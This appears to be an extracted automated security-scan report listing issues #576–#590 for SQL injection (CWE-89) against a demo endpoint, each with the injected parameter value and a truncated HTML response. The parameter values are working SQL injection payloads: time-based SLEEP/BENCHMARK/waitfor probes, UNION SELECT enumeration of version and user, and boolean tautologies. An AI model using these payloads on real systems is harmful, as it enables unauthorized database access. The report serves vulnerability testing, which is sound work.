AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #576
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #577
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #578
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #579
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iopg_sleep(5)--Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #580
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #581
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" or true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #582
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #583
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88
)+CHAR(88)+CHAR(88)+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #584Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #585
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io')) or sleep(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #586
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #587
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #588
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #589
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ;waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #590
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.io;%00
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
